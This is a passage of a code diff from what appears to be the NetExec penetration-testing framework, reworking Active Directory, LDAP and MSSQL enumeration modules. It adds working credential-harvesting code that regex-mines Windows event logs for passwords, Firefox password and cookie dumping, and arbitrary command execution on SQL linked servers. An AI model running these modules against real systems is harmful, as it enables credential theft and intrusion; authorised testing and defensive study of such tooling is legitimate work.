def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.display("Enumerated logins")
self.context.log.highlight(f"{'Login Name':<35} {'Type':<15} {'Status'}")
self.context.log.highlight(f"{'----------':<35} {'----':<15} {'------'}")
for login_name, login_type, status in logins:
self.context.log.highlight(f"{login_name:<35} {login_type:<15} {status}")
else:
self.context.log.fail("No logins found.")
def get_domain_name(self) -> str:
query = "SELECT DEFAULT_DOMAIN() as domain_name;"
try:
res = self.mssql_conn.sql_query(query)
if res and res[0].get("domain_name"):
return res[0]["domain_name"].upper()
return ""
except Exception as e:
self.context.log.debug(f"Error querying domain name: {e}")
return ""
def get_logins(self) -> list:
domain_name = self.get_domain_name()
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
name,
type,
type_desc,
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
END
WHEN 'WINDOWS_GROUP' THEN 'Windows Group'
WHEN 'CERTIFICATE_MAPPED_LOGIN' THEN 'Certificate Login'
WHEN 'ASYMMETRIC_KEY_MAPPED_LOGIN' THEN 'Asymmetric Key Login'
ELSE type_desc
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
"""
try:
res = self.mssql_conn.sql_query(query)
if res:
logins = []
for login in res:
status = "DISABLED" if login.get("is_disabled") else "ENABLED"
logins.append((login["name"], login["login_type"], status))
return logins
return []
except Exception as e:
self.context.log.fail(f"Error querying logins: {e}")
return []
def options(self, context, module_options):
pass
+5 -71
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -8,79 +9,12 @@ class NXCModule:
"""
name = "enum_trusts"
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
pass
def on_login(self, context, connection):
search_filter = "(&(objectClass=trustedDomain))"
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
flat_name = ""
trust_partner = ""
trust_direction = ""
trust_transitive = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "flatName":
flat_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustPartner":
trust_partner = str(attribute["vals"][0])
elif str(attribute["type"]) == "trustDirection":
if str(attribute["vals"][0]) == "1":
trust_direction = "Inbound"
elif str(attribute["vals"][0]) == "2":
trust_direction = "Outbound"
elif str(attribute["vals"][0]) == "3":
trust_direction = "Bidirectional"
elif str(attribute["type"]) == "trustAttributes":
trust_attributes_value = int(attribute["vals"][0])
if trust_attributes_value & 0x1:
trust_transitive.append("Non-Transitive")
if trust_attributes_value & 0x2:
trust_transitive.append("Uplevel-Only")
if trust_attributes_value & 0x4:
trust_transitive.append("Quarantined Domain")
if trust_attributes_value & 0x8:
trust_transitive.append("Forest Transitive")
if trust_attributes_value & 0x10:
trust_transitive.append("Cross Organization")
if trust_attributes_value & 0x20:
trust_transitive.append("Within Forest")
if trust_attributes_value & 0x40:
trust_transitive.append("Treat as External")
if trust_attributes_value & 0x80:
trust_transitive.append("Uses RC4 Encryption")
if trust_attributes_value & 0x100:
trust_transitive.append("Cross Organization No TGT Delegation")
if trust_attributes_value & 0x2000:
trust_transitive.append("PAM Trust")
if not trust_transitive:
trust_transitive.append("Other")
trust_transitive = ", ".join(trust_transitive)
if flat_name and trust_partner and trust_direction and trust_transitive:
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
except Exception as e:
context.log.debug(f"Cannot process trust relationship due to error {e}")
if trusts:
context.log.success("Found the following trust relationships:")
for trust in trusts:
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
else:
context.log.display("No trust relationships found")
return True
context.log.fail("[REMOVED] This module moved to the --dc-list LDAP flag.")
+198
View File
@@ -0,0 +1,198 @@
import re
from impacket.dcerpc.v5 import even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
"""
Module by @lodos2005
This module extracts credentials from Windows logs. It uses Security Event ID: 4688 and SYSMON logs.
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
self.module_options = None
self.method = "execute"
self.limit = None
def options(self, context, module_options):
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
L Alias for LIMIT
"""
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "M" in module_options:
self.method = module_options["M"]
if "LIMIT" in module_options:
self.limit = int(module_options["LIMIT"])
if "L" in module_options:
self.limit = int(module_options["L"])
def find_credentials(self, content, context):
# remove unnecessary words
content = content.replace("\r\n", "\n")
# sort and unique lines
content = "\n".join(sorted(set(content.split("\n"))))
regexps = [
# "C:\Windows\system32\net.exe" user /add lodos2005 123456 /domain
r"net.+user\s+(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# "C:\Windows\system32\net.exe" use \\server\share /user:contoso\lodos2005 password
r"net.+use.+/user:(?P<username>[^\s]+)\s+(?P<password>[^\s]+)",
# schtasks.exe /CREATE /S 192.168.20.05 /RU SYSTEM /U lodos2005@contoso /P "123456" /SC ONCE /ST 20:05 /TN Test /TR hostname /F
r"schtasks.+/U\s+(?P<username>[^\s]+).+/P\s+(?P<password>[^\s]+)",
# wmic.exe /node:192.168.20.05 /user:lodos2005@contoso /password:123456 computersystem get
r"wmic.+/user:\s*(?P<username>[^\s]+).+/password:\s*(?P<password>[^\s]+)",
# psexec \\192.168.20.05 -u lodos2005@contoso -p 123456 hostname
r"psexec.+-u\s+(?P<username>[^\s]+).+-p\s+(?P<password>[^\s]+)",
# generic username on command line
r"(?:(?:(?:-u)|(?:-user)|(?:-username)|(?:--user)|(?:--username)|(?:/u)|(?:/USER)|(?:/USERNAME))(?:\s+|\:)(?P<username>[^\s]+))",
# generic password on command line
r"(?:(?:(?:-p)|(?:-password)|(?:-passwd)|(?:--password)|(?:--passwd)|(?:/P)|(?:/PASSWD)|(?:/PASS)|(?:/CODE)|(?:/PASSWORD))(?:\s+|\:)(?P<password>[^\s]+))",
]
# Extracting credentials
for line in content.split("\n"):
for reg in regexps:
# Remove unnecessary words
line_stripped = line.replace("/add", "") \
.replace("/active:yes", "") \
.replace("/delete", "") \
.replace("/domain", "") \
# Remove command lines that were executed with nxc
line_stripped = re.sub(r"1> \\Windows\\Temp\\[\w]{6} 2>&1", "", line_stripped)
# Use regex to find credentials
match = re.search(reg, line_stripped, re.IGNORECASE)
if match:
# eleminate false positives
# C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay
if not match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6:
# if password is found but username is not found, and password is shorter than 6 characters, ignore it
continue
if not match.groupdict().get("password") and match.groupdict().get("username"):
# if username is found but password is not found. we need? ignore it
continue
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
# if username and password is shorter than 6 characters, ignore it
continue
context.log.highlight("Credentials found! " + line.strip())
if match.groupdict().get("username"):
context.log.highlight("Username: " + match.group("username"))
if match.groupdict().get("password"):
context.log.highlight("Password: " + match.group("password"))
break
def on_admin_login(self, context, connection):
content = ""
if self.method.lower().startswith("e"):
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
commands = [
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
]
for command in commands:
context.log.debug("Execute Command: " + command)
content += connection.execute(command, True)
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(connection, target)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
try:
xmlString = ResultSet(record).xml()
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
match = re.search(regexp, xmlString, re.IGNORECASE)
if match and match.groupdict().get("CommandLine"):
content += "CommandLine: " + match.group("CommandLine") + "\n"
except Exception as e:
context.log.error(f"Error: {e}")
self.find_credentials(content, context)
class MSEven6Trigger:
def __init__(self, context):
self.context = context
self.dce = None
def connect(self, connection, target):
binding = hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp")
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce = NXCRPCConnection(connection).connect(
None,
even6.MSRPC_UUID_EVEN6,
target_ip=target,
string_binding=binding,
auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
req["Path"] = path + "\x00"
req["Query"] = query + "\x00"
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
resp = self.dce.request(req)
handle = resp["Handle"]
return MSEven6Result(self, handle, limit)
class MSEven6Result:
def __init__(self, conn, handle, limit=None):
self._conn = conn
self._handle = handle
self._hardlimit = limit
def __iter__(self):
self._resp = None
return self
def __next__(self):
if self._hardlimit is not None:
self._hardlimit -= 1
if self._hardlimit < 0:
raise StopIteration
if self._resp is not None and self._resp["NumActualRecords"] == 0:
raise StopIteration
if self._resp is None or self._index == self._resp["NumActualRecords"]:
req = even6.EvtRpcQueryNext()
req["LogQuery"] = self._handle
req["NumRequestedRecords"] = 100
req["TimeOutEnd"] = 1000
req["Flags"] = 0
self._resp = self._conn.dce.request(req)
if self._resp["NumActualRecords"] == 0:
return None
else:
self._index = 0
offset = self._resp["EventDataIndices"][self._index]["Data"]
size = self._resp["EventDataSizes"][self._index]["Data"]
self._index += 1
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
+8 -20
View File
@@ -1,3 +1,5 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -9,17 +11,18 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
# Return False to abort the run if options are invalid (log with context.log.fail first).
def on_login(self, context, connection):
"""Concurrent.
@@ -48,18 +51,3 @@ class NXCModule:
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
+44
View File
@@ -0,0 +1,44 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+15 -15
View File
@@ -1,4 +1,4 @@
import socket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -16,15 +16,15 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
TEXT Search TEXT in the operating system or name of the computer.
Examples:
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
"""
self.TEXT = ""
@@ -35,11 +35,11 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
@@ -69,12 +69,12 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found the following computers: ")
for answer in answers:
try:
ip = socket.gethostbyname(answer[0])
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
context.log.debug("IP found")
except socket.gaierror:
context.log.debug("Missing IP")
resolv = connection.resolver(answer[0])
if resolv:
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
context.log.debug("IP found via DNS query")
else:
context.log.debug(f"No DNS response for {answer[0]}")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
+31 -17
View File
@@ -1,5 +1,6 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.helpers.misc import CATEGORY
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
@@ -10,16 +11,23 @@ class NXCModule:
"""
name = "firefox"
description = "Dump credentials from Firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""Dump credentials from Firefox"""
"""
[REMOVED] use the --dpapi flag instead of the module firefox.
COOKIES Get also Firefox cookies
"""
self.gather_cookies = "COOKIES" in module_options
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
return
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -41,19 +49,25 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
firefox_triage.run(gather_cookies=self.gather_cookies)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
+10 -24
View File
@@ -1,7 +1,8 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -11,10 +12,9 @@ class NXCModule:
"""
name = "get-desc-users"
description = "Get description of the users. May contained password"
description = "Get description of the users. May contain password"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
@@ -55,29 +55,15 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
@@ -108,5 +94,5 @@ class NXCModule:
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
+45
View File
@@ -0,0 +1,45 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the info field of users
Module by @sepauli
"""
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
self.FILTER = ""
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(info=*)",
attributes=["sAMAccountName", "info"]
)
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
answers = self.filter_answer(context, answers)
if answers:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
if not self.FILTER:
context.log.debug("No filter option enabled")
return answers
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
+49 -89
View File
@@ -2,49 +2,19 @@
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
import re
from os.path import expanduser
import codecs
import socket
from datetime import datetime
from struct import unpack
import dns.name
import dns.resolver
from impacket.ldap import ldap
from impacket.structure import Structure
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def get_dns_resolver(server, context):
# Create a resolver object
dnsresolver = dns.resolver.Resolver()
# Is our host an IP? In that case make sure the server IP is used
# if not assume lookups are working already
try:
if server.startswith("ldap://"):
server = server[7:]
if server.startswith("ldaps://"):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except OSError:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
def new_record(rtype, serial):
@@ -65,28 +35,29 @@ RECORD_TYPE_MAPPING = {
5: "CNAME",
6: "SOA",
12: "PTR",
# 15: 'MX',
# 16: 'TXT',
15: "MX",
16: "TXT",
28: "AAAA",
33: "SRV",
}
def searchResEntry_to_dict(results):
data = {}
for attr in results["attributes"]:
key = str(attr["type"])
value = str(attr["vals"][0])
data[key] = value
return data
ZERO = 0
A = 1
NS = 2
CNAME = 5
SOA = 6
PTR = 12
MX = 15
TXT = 16
AAAA = 28
SRV = 33
class NXCModule:
name = "get-network"
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -95,61 +66,44 @@ class NXCModule:
"""
self.showall = False
self.showhosts = False
self.showip = True
if module_options and "ALL" in module_options:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
print("Could not parse ALL option.")
if module_options and "IP" in module_options:
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
self.showip = True
else:
print("Could not parse ONLY_HOSTS option.")
context.log.display("Could not parse ALL option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
print("Could not parse ONLY_HOSTS option.")
context.log.display("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
search_target = f"DC={zone},{dns_root}"
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
else:
raise
get_dns_resolver(connection.host, context.log)
list_sites = connection.search(
searchFilter="(DC=*)",
attributes=["dnsRecord", "dNSTombstoned", "name"],
baseDN=search_target,
)
list_sites_parsed = parse_result_attributes(list_sites)
outdata = []
for item in list_sites:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(item)
for site in list_sites_parsed:
recordname = site["name"]
if "dnsRecord" in site:
record = bytes(site["dnsRecord"].encode("latin1"))
dr = DNS_RECORD(record)
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
if dr["Type"] == 1:
if isinstance(site["dnsRecord"], list):
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
for record in records:
dr = DNS_RECORD(record)
if dr["Type"] == A:
address = DNS_RPC_RECORD_A(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -159,17 +113,18 @@ class NXCModule:
"value": address.formatCanonical(),
}
)
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address[next(iter(address.fields))].toFqdn(),
"value": address["nameNode"].toFqdn(),
}
)
elif dr["Type"] == 28:
elif dr["Type"] == AAAA:
address = DNS_RPC_RECORD_AAAA(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -180,14 +135,19 @@ class NXCModule:
}
)
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
if not (self.showall or self.showhosts):
seen_ips = set()
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with open(path, "w") as outfile:
for row in outdata:
if self.showhosts:
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
outfile.write(f"{row['name'] + '.' + zone}\n")
elif self.showall:
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
else:
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
+66
View File
@@ -0,0 +1,66 @@
import json
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the scriptPath attribute of users
Module by @wyndoo
"""
name = "get-scriptpath"
description = "Get the scriptPath attribute of all users."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
FILTER Apply the FILTER (grep-like) (default: '')
OUTPUTFILE Path to a file to save the results (default: None)
"""
self.filter = ""
self.outputfile = None
if "FILTER" in module_options:
self.filter = module_options["FILTER"]
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(scriptPath=*)",
attributes=["sAMAccountName", "scriptPath"]
)
context.log.debug(f"Total of records returned {len(resp)}")
answers = parse_result_attributes(resp)
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
if filtered_answers:
context.log.success("Found the following attributes: ")
for answer in filtered_answers:
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
# Save the results to a file
if self.outputfile:
self.save_to_file(context, filtered_answers)
else:
context.log.fail("No results found after filtering.")
def save_to_file(self, context, answers):
"""Save the results to a JSON file."""
try:
# Format answers as a list of dictionaries for JSON output
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
# Save the JSON data to the specified file
with open(self.outputfile, "w") as f:
json.dump(json_data, f, indent=4)
context.log.success(f"Results successfully saved to {self.outputfile}")
except Exception as e:
context.log.error(f"Failed to save results to file: {e}")
+9 -26
View File
@@ -1,6 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -12,19 +13,18 @@ class NXCModule:
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
"""
